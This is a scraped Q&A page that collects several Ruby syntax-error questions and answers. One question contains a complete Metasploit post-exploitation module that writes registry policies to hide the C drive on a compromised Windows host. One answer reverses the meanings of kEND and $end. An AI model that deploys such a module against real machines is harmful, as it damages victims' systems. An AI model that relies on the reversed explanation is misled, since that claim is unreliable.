syntax error, unexpected ':', expecting end-of-input protect_from_forgery with: :exception ^ [on hold] - ruby-on-rails

class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
def hello
render text: "hello, world!"
end
end
Result:
application_controller.rb:5: syntax error, unexpected ':', expecting end-of-input protect_from_forgery with: :exception ^
Can anybody pls explain where's the problem here?

Related

What's the difference between keyword_end and end-of-input in ruby?

Sometimes, I ran into an error like this in ruby:
syntax error, unexpected keyword_end, expecting end-of-input
So, I want to know the difference between keyword_end and end-of-input
keyword_end implies that you had a block of code with a missing end.
def fun(f)
puts "Oops!"
End-of-input implies that you have already closed up blocks of code with one too many end keywords.
def fun(f)
puts "Okay..."
end
end
Keyword 'end' is the end statement in Ruby that comes at the end of methods, classes, etc. end-of-input is the actual end of your code file. The message you got means you have an extra 'end' statement somewhere.

How to fix an “unexpected end-of-input, expecting keyword_end” error

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
def initialize
super(
'Name' => 'Driver Disabler Module',
'Description' => 'C Driver Disabler Module',
'Author' => 'Nipun Jaswal',
'License' =>MSF_LICENSE
)
end
def run
key1="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\"
print_line("Disabling C Drive")
meterpreter_registry_setvaldata(key1,'NoDrives','4','REG_DWORD')
print_line("Setting No Drives For C")
meterpreter_registry_setvaldata(key1,'NoViewOnDrives','4','REG_DWORD')
print_line("Removing View On The Drive")
print_line("Disabled C Drive")
end
end #class
Here is the error I am experiencing:
syntax error, unexpected end-of-input, expecting keyword_end
error in line 14 after super()
Can anyone help me with this problem? It's a metasploit script

What's the difference between kEND and $end?

I got this error:
syntax error, unexpected kEND, expecting $end
What's the difference between kEND and $end ?
In english this is stating:
syntax error, unexpected end of file, expecting an end keyword
I agree it's a fairly non-intuitive message.
So the difference is:
kEND = end of file
$end = end keyword
kEND is the end of your file $end is the end tag so, something like
if somethingIsTrue
puts "its true!"
end
Usually when this happens, you forgot to close something with an end.

syntax error, unexpected keyword_end, expecting end-of-input [closed]

I have this code:
Class Card
def initialize(suit, number)
#suit = suit
#number = number
end
end
I am getting the error message:
/go_fish/lib/Card.rb:8 syntax error, unexpected keyword_end, expecting end-of-input (SyntaxError)
Any suggestions or stuff I'm missing?
Your error is the first char in the first line. class should be lowercase...
class Card
def initialize(suit, number)
#suit = suit
#number = number
end
end
Furthermore you may want to follow common rules for coding styles in Ruby. To do so change the file name to card.rb (again lowercase), same with require. And it is common to indent with just two whitespace characters in Ruby files.

rspec - how to change lambda should to expect?

I have some lambda code, e.g.
lambda { Watir::Browser.new(mock_driver) }.should_not raise_error
How can I change this to use the expect syntax?
I tried:
expect({ Watir::Browser.new(mock_driver)}).to not raise_error
but I got:
syntax error, unexpected '}', expecting tASSOC (SyntaxError)
...expect ({Watir::Browser.new(mock_driver)}).to not raise_error
and I tried
expect{( Watir::Browser.new(mock_driver))}.to not raise_error
but got
syntax error, unexpected tIDENTIFIER, expecting '('
You don't need those parentheses.
expect{Watir::Browser.new(mock_driver)}.to_not raise_error

Resources